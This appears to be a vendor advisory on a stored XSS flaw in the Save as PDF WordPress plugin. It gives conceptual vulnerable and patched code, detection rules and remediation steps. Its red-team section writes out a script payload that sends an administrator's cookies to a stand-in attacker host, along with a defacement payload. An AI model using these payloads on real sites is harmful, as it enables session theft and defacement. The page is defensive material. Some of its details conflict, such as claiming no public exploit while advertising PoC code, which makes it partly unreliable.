CVE-2025-59552
Executive Summary
CVE-2025-59552 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Save as PDF WordPress plugin developed by Pdfcrowd. The plugin fails to properly neutralize user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject malicious scripts. These scripts are stored on the server and executed in the browsers of other users (including administrators) when they view the affected page. The vulnerability affects all versions of the plugin from n/a through 4.5.2. As of this report, no official patch has been released, and no public exploit code is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. The risk to the supply chain is limited to WordPress sites that have installed this specific plugin. Administrators should monitor the plugin’s update channel for a patched version and consider disabling the plugin until a fix is available.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level WordPress user)
- User Interaction: Required (Victim must view the compromised page)
- Scope: Changed (Impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. The vulnerability requires authenticated access and user interaction, but a successful exploit can lead to session hijacking, defacement, or redirection to malicious sites.
Deep Dive & Mechanics
The Save as PDF plugin (slug: save-as-pdf-by-pdfcrowd) provides functionality to convert WordPress posts and pages into PDF documents. The vulnerability lies in how the plugin handles user input when generating the PDF output. Specifically, the plugin does not properly sanitize or escape user-supplied data (e.g., post titles, content, custom fields) before embedding it into the generated PDF page.
An attacker with contributor-level access can create or edit a post containing malicious JavaScript. When the plugin processes this post to generate a PDF, the script is stored in the PDF output. If an administrator or other user views the generated PDF (or the page that displays the PDF), the script executes in their browser context.
Root Cause: The plugin uses echo or similar output functions without applying WordPress’s built-in escaping functions (e.g., esc_html(), esc_js(), wp_kses_post()) on user-controlled data.
Attack Flow:
- Attacker logs in as a contributor.
- Attacker creates a new post and injects a payload like
<script>alert('XSS')</script>into the post title or content. - The plugin generates a PDF of this post, storing the payload.
- An administrator visits the page that displays the PDF (e.g., via a shortcode or admin panel).
- The payload executes, potentially stealing cookies or performing actions on behalf of the admin.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation.
Vulnerable Code (Conceptual):
// In save-as-pdf-by-pdfcrowd.php or similar
function generate_pdf_content($post_id) {
$post = get_post($post_id);
$title = $post->post_title;
$content = $post->post_content;
// Direct output without sanitization
echo "<h1>$title</h1>";
echo "<div>$content</div>";
}
Patched Code (Conceptual):
function generate_pdf_content($post_id) {
$post = get_post($post_id);
$title = esc_html($post->post_title);
$content = wp_kses_post($post->post_content);
echo "<h1>$title</h1>";
echo "<div>$content</div>";
}
The patched version uses esc_html() to escape HTML entities in the title and wp_kses_post() to allow only safe HTML tags in the content.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with the Save as PDF plugin (version <= 4.5.2) installed and activated.
- A user account with at least Contributor role.
Steps:
- Log in as a contributor.
- Create a new post. In the post title, enter the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish the post.
- As an administrator, navigate to the page that displays the PDF (e.g., using the plugin’s shortcode
[pdfcrowd-save-as-pdf]or the admin PDF preview). - The script executes, sending the admin’s cookies to the attacker’s server.
Alternative Payload (for defacement):
<script>document.body.innerHTML='<h1>Hacked by Red Team</h1>'</script>
Blue Team
Detection:
- Monitor for posts containing suspicious JavaScript in titles or content.
- Use the YARA and Sigma rules provided in the Detection Engineering section.
- Check web server logs for requests to
/wp-admin/admin-ajax.phpwith unusual parameters.
Mitigation:
- Disable the Save as PDF plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block common XSS payloads in post data.
- Restrict contributor-level users from using the plugin’s shortcode or PDF generation features.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (None available; plugin files may vary by version)
- Network Indicators:
- Outbound connections to attacker-controlled domains (e.g.,
attacker.com) from the WordPress server. - HTTP requests containing
document.cookiein the query string.
- Outbound connections to attacker-controlled domains (e.g.,
- Log Entries:
- WordPress debug log entries showing unexpected script execution.
- Web server logs with
POSTrequests to/wp-admin/admin-ajax.phpcontainingaction=pdfcrowd_generate_pdf.
- Registry/File System: (Not applicable for WordPress)
Detection Engineering
YARA Rule
rule CVE_2025_59552_Stored_XSS {
meta:
description = "Detects stored XSS payloads in WordPress Save as PDF plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-59552"
strings:
$xss_payload1 = /<script[^>]*>.*?<\/script>/is
$xss_payload2 = /onerror\s*=\s*["']?[^"']*["']?/is
$xss_payload3 = /onload\s*=\s*["']?[^"']*["']?/is
condition:
any of them
}
Sigma Rule
title: CVE-2025-59552 Stored XSS in Save as PDF Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WordPress post content or title
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: wordpress
detection:
selection:
post_title|contains:
- '<script'
- 'onerror='
- 'onload='
post_content|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in posts (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-59552 Stored XSS Payload in WordPress Post"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=pdfcrowd_generate_pdf"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and delete the Save as PDF plugin until a patched version is released.
- Audit existing posts – Scan all posts created by contributors for malicious JavaScript.
- Change admin passwords – If compromise is suspected, force password resets for all admin accounts.
Long-Term Fix:
- Apply the official patch once released by Pdfcrowd.
- Implement input validation and output escaping in any custom code that handles user data.
- Use WordPress’s built-in functions like
esc_html(),esc_js(), andwp_kses_post().
Workarounds:
- Use a security plugin (e.g., Wordfence) to block XSS payloads.
- Restrict contributor roles from using shortcodes or custom fields that interact with the plugin.
Valters IT – Securing digital ecosystems through intelligence-driven defense.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.